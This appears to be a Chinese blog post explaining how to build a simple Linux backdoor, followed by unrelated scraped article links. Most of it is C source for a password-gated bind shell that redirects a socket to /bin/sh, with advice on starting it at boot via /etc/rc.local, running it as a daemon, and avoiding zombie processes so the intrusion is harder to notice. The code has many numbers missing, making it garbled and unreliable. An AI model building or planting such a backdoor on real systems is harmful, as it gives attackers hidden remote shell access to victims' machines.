一个简单的Linux后门程序的实现
该程序实质是一个简单的socket编程,在受害方上运行攻击代码(后门进程),通过socket打开一个预设端口,并监听,等待攻击方的链接。一旦攻击方通过网络链接工具试图链接该socket,那么后门进程立刻fork一个子进程来处理链接请求。处理请求的行为即用exec函数打开一个shell来代替本子进程,并将本进程的标准输入、输出、出错文件描述符重定向到该套接字上,这样就实现了攻击方远程得到了受害方的一个shell。
int main(int argc, char **argv)
{
int i, listenfd, connfd; /*listenfd为主进程监听的套接字,connfd为TCP连接后的套接字*/
pid_t pid;
char buf[MAXLINE];
socklen_t clilen;
struct sockaddr_in s_addr;
struct sockaddr_in c_addr; setuid(); /*为了保险,我们将通过setuid函数使得程序以拥有者身份的权限运行*/
setgid();
seteuid();
setegid(); // daemon(0,0); /*通过daemon函数可以把本程序从终端设备下脱离出来变成守护进程,如果系统启动时加载本程序就无需这个函数*/ listenfd = socket(AF_INET,SOCK_STREAM,); /*创建套接字*/
if (listenfd == -){
printf("socket failed!");
exit();
}
bzero(&s_addr,sizeof(s_addr));
s_addr.sin_family=AF_INET;
s_addr.sin_addr.s_addr=htonl(INADDR_ANY);
s_addr.sin_port=htons(PORT);
if (bind(listenfd, (struct sockaddr *)&s_addr, sizeof(s_addr)) == -){
printf("bind failed!\n");
exit();
}
if (listen(listenfd, )==-){ /*监听套接字*/
printf("listen failed!");
exit();
}
clilen = sizeof(c_addr); while(){
connfd = accept(listenfd, (struct sockaddr *)&c_addr, &clilen);/*等待攻击者发起链接*/
pid = fork(); /*创建子进程*/
if(!pid)
{
if((pid = fork()) > ) /*创建孙进程*/
{
exit(); /*子进程终结*/
}else if(!pid){ /*孙进程处理链接请求*/
close(listenfd); /*关闭除要处理的套接字外的所有描述符*/
write(connfd, ENTERPASS, strlen(ENTERPASS));
memset(buf,'\0', MAXLINE);
read(connfd, buf, MAXLINE);
if (strncmp(buf,PASSWORD,) !=){
close(connfd);
exit();
}else{
write(connfd, WELCOME, strlen(WELCOME));
dup2(connfd,); /*将标准输入、输出、出错重定向到我们的套接字上*/
dup2(connfd,); /*实质是套接字的复制*/
dup2(connfd,);
execl("/bin/sh", "mysh", (char *) ); /*打开一个shell代替本进程*/
}
}
}
close(connfd);
if (waitpid(pid, NULL, ) != pid) /*父进程等待回收子进程*/
printf("waitpid error");
}
}
有几点细节需要注意
首先攻击程序通过启动脚本在开机后就在后台作为守护进程运行,守护进程的子进程依然是守护进程,使得本进程不容易被发现。
将一个程序在开机后作为守护进程执行的方法很简单,只需在启动脚本中增加对应可执行文件的路径和文件名即可。首先将自己的程序编译通过生成可执行文件,将可执行文件放到某一个目录下(如/usr/bin/),然后在启动脚本中增加一行:
$vi /etc/rc.local
/usr/bin/filename
当然从一个shell进程打开的进程可以通过Linux下提供的daemon函数实现,其实质是fork和setsid的组合。daemon的实现大致如下:
int daemon( int nochdir, int noclose )
{
pid_t pid;
if ( !nochdir && chdir("/") != ) //如果nochdir=0,那么改变到"/"根目录
return -; if ( !noclose ) //如果没有noclose标志
{
int fd = open("/dev/null", O_RDWR);
if ( fd < )
return -; /* 重定向标准输入、输出、错误 到/dev/null,
键盘的输入将对进程无任何影响,进程的输出也不会输出到终端
*/
dup(fd, );
dup(fd, );
dup(fd, );
close(fd);
} pid = fork(); //创建子进程.
if (pid < ) //失败
return -;
if (pid > )
_exit(); //返回执行的是父进程,那么父进程退出,让子进程变成真正的孤儿进程. //创建的 daemon子进程执行到这里了
if ( setsid() < ) //创建新的会话,并使得子进程成为新会话的领头进程
return -;
return ; //成功创建daemon子进程
}
首先调用fork,然后终止父进程。如果本进程是从前台作为一个shell命令启动的,当父进程终止时,shell就认为该命令已执行完毕。这样子进程就自动在后台运行。另外,子进程继承了父进程的进程组ID,不过它有自己的进程ID。这就保证子进程不是一个进程组的头进程,这是接下去调用setsid的必要条件。setsid用于创建一个新的会话(session),当前进程变为新会话的会话头进程以及新进程的进程组头进程,从而不再有控制终端。
daemon函数给出的步骤到此为止,然而当一个会话头进程打开一个终端设备时,该终端自动成为这个会话头进程的控制终端。史蒂芬告诉我们,在setsid之后我们需要再次fork,再次fork的目的是确保本守护进程不是一个会话头进程,将来即使打开一个控制终端,也不会自动获得控制终端。
其次是关于产生僵尸进程的问题,程序原本的想法是主进程始终监听,当有连接则fork一个子进程进行处理,鉴于主进程要并发处理多个连接,故不能在fork之后调用wait或waitpid来回收子进程,这就出现了问题,那就是子进程结束之后父进程没有回收它,使得产生僵尸进程,当然如果在子进程中如果调用exec成功后用shell代替当前子进程就没有这个问题,但是如果在调用exec前发生错误,比如密码输入错误,此时子进程死掉之后没有进程为它回收状态信息,这时候就会产生僵尸进程,从攻击者看来显得容易暴露身份。解决的办法有若干个,其中一种简单是方法就是,主进程在fork后调用wait或waitpid,在子进程中再次调用fork,产生孙进程,而子进程马上终结,这时候父进程回收子进程。而孙进程由于死了子进程,而有init进程接管,由init进程对孙进程进行回收。当然,处理僵尸进程的方法不止一种,详细请参见http://www.cnblogs.com/big-xuyue/p/3590680.html 以及 http://www.cnblogs.com/Anker/p/3271773.html
最后我们可以通过nc工具进程测试:
$nc -vv localhost
一个简单的Linux后门程序的实现的更多相关文章
- Linux内核监控模块-1-驱动模块(LKM)开发(以一个简单的hello world程序为例)
		
在上面一篇中介绍到,监控模块要做成一个驱动模块(或者说是可加载模块,LKM),动态的加载到Linux内核中.那么这篇就简单的介绍一下怎样做一个这样的驱动模块. 以简单的hello world程序为 ...
 - 《Linux内核分析》第三周 构建一个简单的Linux系统MenuOS
		
[刘蔚然 原创作品转载请注明出处 <Linux内核分析>MOOC课程http://mooc.study.163.com/course/USTC-1000029000] WEEK THREE ...
 - 第三节 构造一个简单的Linux系统MenuOS——20135203齐岳
		
第三节 构造一个简单的Linux系统MenuOS By 20135203齐岳 Linux内核源代码 arch/ 支持不同cpu的源代码 Documentations/ 文档存储 init/ 内核启动相 ...
 - [转]一个简单的Linux多线程例子 带你洞悉互斥量 信号量 条件变量编程
		
一个简单的Linux多线程例子 带你洞悉互斥量 信号量 条件变量编程 希望此文能给初学多线程编程的朋友带来帮助,也希望牛人多多指出错误. 另外感谢以下链接的作者给予,给我的学习带来了很大帮助 http ...
 - Linux内核分析第三周学习总结:构造一个简单的Linux系统MenuOS
		
韩玉琪 + 原创作品转载请注明出处 + <Linux内核分析>MOOC课程http://mooc.study.163.com/course/USTC-1000029000 一.Linux内 ...
 - Linux内核分析— —构造一个简单的Linux系统MenuOS(20135213林涵锦)
		
Linux内核分析— —构造一个简单的Linux系统MenuOS 实验内容 Linux内核的启动过程,从start_kernel到init进程启动 使用实验楼的虚拟机打开shell cd LinuxK ...
 - 《Linux内核分析》第三周笔记 构造一个简单的Linux系统MenuOS
		
构造一个简单的Linux系统MenuOS 一.linux内核源代码简介 三大法宝(存储程序计算机.函数调用堆栈.中断)和两把宝剑(中断上下文的切换:保存现场和恢复现场.进程上下文的切换) 1.在lin ...
 - 20135202闫佳歆--week3 构造一个简单的Linux系统MenuOs--学习笔记
		
此为个人学习笔记存档 week 3 构造一个简单的Linux系统MenuOs 复习: 计算机有三个法宝:存储程序计算机,函数调用堆栈,中断 操作系统有两把剑: 1.中断上下文的切换,保存现场和恢复现场 ...
 - 《Linux内核分析》第三周学习小结 构造一个简单的Linux系统OS
		
郝智宇 无转载 <Linux内核分析>MOOC课程http://mooc.study.163.com/course/USTC-1000029000 第三周 构造一个简单的Linux系统Me ...
 
随机推荐
- oracle系统视图字段说明
			
oracle系统表v$session.v$sql表的列字段说明 在本视图中,每一个连接到数据库实例中的 session都拥有一条记录.包括用户 session及后台进程如 DBWR, LGWR, a ...
 - SpringBoot配置文件YML 注意事项
			
YML读取注意事项 使用YML时遇到的坑: 最近在做项目时,遇到了一些在读取YML配置时发生的问题,在这里写一并写下来,希望给自己以及大家一个提示,能尽量避免在读取配置文件时发生这些错误,给开发带来不 ...
 - SpringMVC 文件上传 MultipartFile
			
本的SpringMVC的搭建在我的上一篇文章里已经写过了,这篇文章主要说明一下如何使用SpringMVC进行表单上的文件上传以及多个文件同时上传的步骤 SpringMVC 基础教程 框架分析:http ...
 - Clustered Index & Non Clustered Index(聚簇索引和非聚簇索引)
			
每个表只能有一个聚簇索引,而能有200多个非聚簇索引. 在物理分配上, 每个表的数据都是分配在页上,一个页大概有8k左右,假设一条数据占1000字节的话,那么8000条数据占8000*1k/8k = ...
 - Excel Sheet Column Title (STRING - TYPE CONVERTION)
			
QUESTION Given a positive integer, return its corresponding column title as appear in an Excel sheet ...
 - jsoncpp在Windows和Linux下的安装
			
Windows下: 参考这个网站,没什么问题,注意MTd这些选对就行了. http://www.cppblog.com/wanghaiguang/archive/2013/12/26/205020.h ...
 - python内置函数之attr【反射】
			
#Auther Bob#--*--conding:utf-8 --*-- #我们来循序渐进的学习反射 import s1 #阶段1# def run():# url = input("请输入 ...
 - 35-面试:如何找出字符串的字典序全排列的第N种
			
http://www.cnblogs.com/byrhuangqiang/p/3994499.html
 - discuz回贴通知插件实现-页面嵌入点(钩子)
			
1.如何保证主题被回复时业务代码被执行. 2.获得主题,主题发布者,贴子等信息. 3.discuz发送email邮件. discuz使用嵌入点(钩子)来处理代码的执行时机. 当用户开启插件开发者模 ...
 - cookie、session、token区分
			
https://www.cnblogs.com/moyand/p/9047978.html http://www.cnblogs.com/JamesWang1993/p/8593494.html Co ...